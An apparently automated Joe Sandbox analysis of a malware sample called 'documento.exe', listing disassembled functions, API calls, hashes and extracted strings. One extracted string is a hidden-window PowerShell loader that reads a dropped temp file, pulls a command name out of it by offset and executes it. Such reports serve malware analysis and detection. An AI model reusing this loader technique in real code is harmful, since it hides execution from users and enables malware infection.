Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: "powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)"$C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\dompappens\gymnasiast.Lan
API String ID: 1941528284-1483896999
Opcode ID: 03728244cee0156ab1c106ee5509dce3fd72bfd5f56f8d1d22ca19b28631c824
Instruction ID: b3254d88aebf37d11d8c7362002191d58d549b74aa0b12ea023da1ca5ce0478c
Opcode Fuzzy Hash: 03728244cee0156ab1c106ee5509dce3fd72bfd5f56f8d1d22ca19b28631c824
Instruction Fuzzy Hash: 7F41C871A04515BADF107BB5CC45EAF3669DF41329F20823BF112F11E2DA3C4A419B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00404F16 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(rghtten,00000000,0040E8D8,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000,?), ref: 00404F4F
lstrlenA.KERNEL32(00402FCF,rghtten,00000000,0040E8D8,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000), ref: 00404F5F
lstrcatA.KERNEL32(rghtten,00402FCF,00402FCF,rghtten,00000000,0040E8D8,00000000), ref: 00404F72
SetWindowTextA.USER32(rghtten,rghtten), ref: 00404F84
SendMessageA.USER32 ref: 00404FAA
SendMessageA.USER32 ref: 00404FC4
SendMessageA.USER32 ref: 00404FD2

Strings

rghtten, xrefs: 00404F36, 00404F48, 00404F4E, 00404F71, 00404F7D

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: rghtten
API String ID: 2531174081-1594702312
Opcode ID: 999e89093a23ea19cfb07457cadf61976c7c5e7560eec41fbd50c1d03779383c
Instruction ID: eca0c9fc351864773e3873b1aaef0297ce596284c077fb9535b250fc548d2f5f
Opcode Fuzzy Hash: 999e89093a23ea19cfb07457cadf61976c7c5e7560eec41fbd50c1d03779383c
Instruction Fuzzy Hash: 0D219DB1900119BBDF119FA5CD849DEBFB9EF44354F14807AFA04B6290C7798A41CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402E9F Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32(000000FF,00000004,00000000,00000000,00000000), ref: 00402EFD
GetTickCount.KERNEL32(0040A8D8,00004000), ref: 00402F7E
MulDiv.KERNEL32 ref: 00402FAB
wsprintfA.USER32 ref: 00402FBB

Strings

... %d%%, xrefs: 00402FB5
scrams cocainist schizognathous montage nedskrivningstidspunkter drunks sceneteknikers charm diffuses dragonish lserettighedernelyknsker konkluder cyclicality spaanskraberen kartoteksstyring antilabour sortebrdres,foraarssemestret inbond raaskitsen housewive, xrefs: 00402EC6

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%$scrams cocainist schizognathous montage nedskrivningstidspunkter drunks sceneteknikers charm diffuses dragonish lserettighedernelyknsker konkluder cyclicality spaanskraberen kartoteksstyring antilabour sortebrdres,foraarssemestret inbond raaskitsen housewive
API String ID: 551687249-342867682
Opcode ID: 6f3418d20d5a7b16bbf07f2caf8b388666ee65f0263a646cde66ce9cfbfa83ed
Instruction ID: 7e4dc47457cc3da2c56257e898c37067349407ab53618b81eea50406b68a50e3
Opcode Fuzzy Hash: 6f3418d20d5a7b16bbf07f2caf8b388666ee65f0263a646cde66ce9cfbfa83ed
Instruction Fuzzy Hash: B9517C72902219ABDF10DF65DA04A9F7BB8EB40755F14413BF800B72C4C7789E51DBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00406028 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040603F
wsprintfA.USER32 ref: 00406078
LoadLibraryA.KERNEL32(?), ref: 00406088

Strings

%s%s.dll, xrefs: 00406072
\, xrefs: 00406050

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$\
API String ID: 2200240437-500877883
Opcode ID: 1d5f31d115a59bc75170d0b5e25867174e87b8d420fe74ce0eee88fcfc4f8209
Instruction ID: d5163558ffe5aed4278454506076ff52b4f001f8688a9739bf5e409abac40a62
Opcode Fuzzy Hash: 1d5f31d115a59bc75170d0b5e25867174e87b8d420fe74ce0eee88fcfc4f8209
Instruction Fuzzy Hash: C6F0BB7094010A9BDF15DB78DC0DEFB365CEB08304F14057AA547E10D2EA79E975CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040599F Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32(75712754,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\documento.exe",004030D7,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032CD), ref: 004059B3
GetTempFileNameA.KERNEL32(?,?,00000000,?), ref: 004059CD

Strings

"C:\Users\user\Desktop\documento.exe", xrefs: 0040599F
nsa, xrefs: 004059AA
C:\Users\user\AppData\Local\Temp\, xrefs: 004059A2

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\documento.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-4267632705
Opcode ID: 95c6d3479798503f7923504534165061c55f320a4664c3ca80cf9d12d42afe18
Instruction ID: 3f05255bf470524d05267fbe77a66a547c73f63e6c4f6eb4cae2c62e5f282410
Opcode Fuzzy Hash: 95c6d3479798503f7923504534165061c55f320a4664c3ca80cf9d12d42afe18
Instruction Fuzzy Hash: D3F0E272708204ABEB108F55EC04B9B7B9CDF91720F10803BFA08DA180D2B098108BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00402364 Relevance: 6.1, APIs: 4, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.KERNEL32(00000000,00000000,?,?,?,?,?,?), ref: 004023A2
lstrlenA.KERNEL32(00409C00,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023C2
RegSetValueExA.KERNEL32(?,?,?,?,00409C00,00000000), ref: 004023FB
RegCloseKey.KERNEL32(?), ref: 004024D8

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: e46d98766fca384b0b429333aaa9b9cfca7b69a45cfa3caf0dfdbd84f9289746
Instruction ID: 133b3897f1a97e650f74ae2c97eeacc267919fe8998a33790bec377d3be5ae35
Opcode Fuzzy Hash: e46d98766fca384b0b429333aaa9b9cfca7b69a45cfa3caf0dfdbd84f9289746
Instruction Fuzzy Hash: F61163B1E00108BFEB10AFA4DE89EAF7A79EB54358F10403AF505B61D1D6B85D419A28

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405808: CharNextA.USER32(?), ref: 00405816
Part of subcall function 00405808: CharNextA.USER32(00000000), ref: 0040581B
Part of subcall function 00405808: CharNextA.USER32(00000000), ref: 0040582F

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 00401605

Part of subcall function 004053DC: CreateDirectoryA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\), ref: 0040541F

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare,00000000,00000000,000000F0), ref: 00401634

Strings

C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare, xrefs: 00401629

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare
API String ID: 1892508949-123516722
Opcode ID: cef5982d16b96abbf50bc7d629446ce069799693c36b8a03ace087d6155603a0
Instruction ID: 033a10bc0c18a89e8a0df43fa9022a024a55b03552da94b7695e97ed969a6887
Opcode Fuzzy Hash: cef5982d16b96abbf50bc7d629446ce069799693c36b8a03ace087d6155603a0
Instruction Fuzzy Hash: BD112B35504141ABDF217B650C409BF37B0E9A2325738463FE582B22D2C63C0943A63F

Uniqueness

Uniqueness Score: -1.00%

Function 0040548E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421528,Error launching installer), ref: 004054B7
CloseHandle.KERNEL32(?), ref: 004054C4

Strings

Error launching installer, xrefs: 004054A1

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 11830fbe1599591dde0320708e1ac997fc89973e1d072e2855f62d3e6df5e4ac
Instruction ID: 371522acfb7cd9539d7ae69e543ca64f087bc7c9f75cc5940c594e3c03f6d28b
Opcode Fuzzy Hash: 11830fbe1599591dde0320708e1ac997fc89973e1d072e2855f62d3e6df5e4ac
Instruction Fuzzy Hash: D6E04FF1A102097FEB009BA0EC05F7B7BBCE754704F404471BD01F21A0D678A8408A79

Uniqueness

Uniqueness Score: -1.00%

Function 00406779 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f303b90f097451caafc5c82d86dc7f8c3a5ca7b8ce6b4562ff9062d076474e9
Instruction ID: cf83b5f92aa564cc298776c77b2bdd28f1825052710f2ecdbdb4cfcb1c159722
Opcode Fuzzy Hash: 6f303b90f097451caafc5c82d86dc7f8c3a5ca7b8ce6b4562ff9062d076474e9
Instruction Fuzzy Hash: 92A13171E00229CBDF28DFA8C8547ADBBB1FB44305F11816ED816BB281C7786A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040697A Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ab636e1636351d1357f15bb4f6043d343d203a0e7e05c7e50cd2d20e4a1f53c
Instruction ID: cdde4d58dff4e4a9c83cf0d0e57cddb7afde41a65112cf45587a3a44971c93cd
Opcode Fuzzy Hash: 1ab636e1636351d1357f15bb4f6043d343d203a0e7e05c7e50cd2d20e4a1f53c
Instruction Fuzzy Hash: 7A911070E04228CBDF28DF98C8547ADBBB1FB44305F15816ED816BB281C778AA96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406690 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73ca531164300be04a77f53002292f938c132f2b380a2f89a8108b3de7a2d466
Instruction ID: 210b764e34932ffe60d6cfe39aea5744945828095a37428d8e8ad2b7e06fd55b
Opcode Fuzzy Hash: 73ca531164300be04a77f53002292f938c132f2b380a2f89a8108b3de7a2d466
Instruction Fuzzy Hash: 0B814671E04228CFDF24CFA8C8847ADBBB1FB44305F25816AD416BB281C7789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406195 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2cfe53134c7a763aaa08aff8449c0b0f7d6a132f5d25363dfe6705ba01c87a0
Instruction ID: d8cce1150c04716a98830c198e93b549954248a52dda193404c5f2b9195ff2ae
Opcode Fuzzy Hash: d2cfe53134c7a763aaa08aff8449c0b0f7d6a132f5d25363dfe6705ba01c87a0
Instruction Fuzzy Hash: 89815771E04228CBDF24CFA8C8447ADBBB1FB44315F1181AED856BB281D7786A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 004065E3 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 452643e19685fcea5462b53912e8b008e2854c88062b067f0f8fd89253b448af
Instruction ID: 258a3fd06c35fad05ca81ab60d081a33c15d1deb970c592860f690c18264f2bd
Opcode Fuzzy Hash: 452643e19685fcea5462b53912e8b008e2854c88062b067f0f8fd89253b448af
Instruction Fuzzy Hash: 5D711271E04228CBDF24CFA8C8547ADBBF1FB44305F15806AD856BB281D7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406701 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID:
String ID:
API String ID:
